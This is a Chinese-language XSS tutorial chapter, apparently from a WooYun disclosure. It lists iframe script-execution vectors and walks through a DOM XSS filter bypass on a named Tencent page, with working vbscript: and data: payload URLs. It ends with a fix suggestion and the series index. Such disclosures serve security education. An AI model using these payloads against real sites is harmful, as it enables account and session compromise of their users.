# 11\. Dom Xss 進階 [善變 iframe]
> 來源:[11\. Dom Xss 進階 \[善變 iframe\]](http://www.wooyun.org/bugs/wooyun-2010-016223)
## 簡要描述
有時候,輸出還會出現在 `<iframe src="[輸出]"></iframe>` 。 iframe 的 src 屬性本來應該是一個網址,但是 iframe 之善變,使得 它同樣可以執行 javascript,而且可以用不同的姿勢來執行。這一類問題,我將其歸為[路徑可控]問題。當然上面說到的是普通的反 射型 XSS。有時候程序員會使用 javascript 來動態的改變 iframe 的 src 屬性,譬如:`iframeA.src="[可控的 url]";` 同樣會導致 XSS 問題,來看看本例吧~
## 詳細說明
1\. 先來說說 iframe 的變化。
1.1 最好懂的,onload 執行 js
```
<iframe onload="alert(1)"></iframe>
```
1.2 src 執行 javascript 代碼
```
<iframe src="javascript:alert(1)"></iframe>
```
3\. IE 下 vbscript 執行代碼
```
<iframe src="vbscript:msgbox(1)"></iframe>
```
1.4 Chrome 下 data 協議執行代碼
```
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome
```
1.5 上面的變體
```
<iframe src="data:text/html,<script>alert(1)</script>"></iframe>
```
1.6 Chrome 下 srcdoc 屬性
```
<iframe srcdoc="<script>alert(1)</script>"></iframe>
```
2\. 有興趣的,可以一個一個的去測試上面的效果,注意瀏覽器的特異性哦。
3\. 接著我們來看看具體的例子。
```
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=aaaaaa&gid=yl&cid=68&from=
```
4\. 我們先開調試工具,看看有沒有可見的輸出。

可以看到,我們參數的 aaaaaa 被帶入到了`<iframe src="這里"></iframe>`。
這樣一來,就滿足了我們的使用條件。 我們試試
```
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=javascript:alert(1);&gid=yl&cid=68&from=
```
。。竟然沒反應。我們來看看剛才的那個地方。

可以看到,src 這次沒屬性了,看來騰訊做了什么過濾。我們繼續搜索下一個 toolframe 試試。
恩,看來就是這段代碼導致的。

一起看看這段代碼。
```
function OpenFrame(url) {
if (url.toLowerCase().indexOf('http://') != '-1' ||
url.toLowerCase().indexOf('https://') != '-1' ||
url.toLowerCase().indexOf('javascript:') != '-1')
return false;
document.getElementById("toolframe").src = url;
}
```
不難看出,騰訊對 javascript:做出了判斷。
```
document.getElementById("toolframe").src = url;
```
這句是導致 XSS 的一句代碼。而 openFrame 的 url 參數則來自于(無關代碼省略):
```
...
var tool_url = getQueryStringValue("turl");
...
openFrame(tool_url);
...
```
5\. 根據我們上面說道的 iframe 的利用方法,我們不難看出,騰訊的過濾是不完善的。
在 IE 下,我們可以使用 vbscript 來執行代碼。 vbscript 里 ' 單引號表示注釋,類似 JS 里的`//`
```
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=vbscript:msgbox(1)'&gid=yl&cid=68&from=
```

```
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=data:text/html,<script>alert(1)</script>'&gid=yl&cid=68&from=
```

6\. 就到這里。
## 修復方案
危險的不光是 javascript:, vbscript:, data: 等同樣需要過濾。
- 1. 什么都沒過濾的入門情況
- 2. 輸出在&lt;script&gt;&lt;/script&gt;之間的情況
- 3. 輸出在 HTML 屬性里的情況
- 4. 寬字節復仇記 [QQ 郵箱基本通用]
- 5. 反斜線復仇記
- 6. 換行符復仇記
- 7. 寬字節、反斜線與換行符一起復仇記
- 8. Dom Xss 入門 [顯式輸出]
- 9. Dom Xss 入門 [隱式輸出]
- 10. Dom Xss 進階 [邂逅 eval]
- 11. Dom Xss 進階 [善變 iframe]
- 12. Dom Xss 進階 [路徑 con]
- 13. Dom Xss 實例 [Discuz X2.5]
- 14. Flash Xss 入門 [navigateToURL]
- 15. Flash Xss 進階 [ExternalInterface.call 第一個參數]
- 16. Flash Xss 進階 [ExternalInterface.call 第二個參數]
- 17. XSS 過濾器繞過 [通用繞過]
- 18. XSS 過濾器繞過 [猥瑣繞過]
- 19. 存儲型 XSS 入門 [什么都沒過濾的情況]
- 20. 存儲型 XSS 入門 [套現繞過富文本]
- 21. 存儲型 XSS 進階 [猜測規則,利用 Flash addCallback 構造 XSS]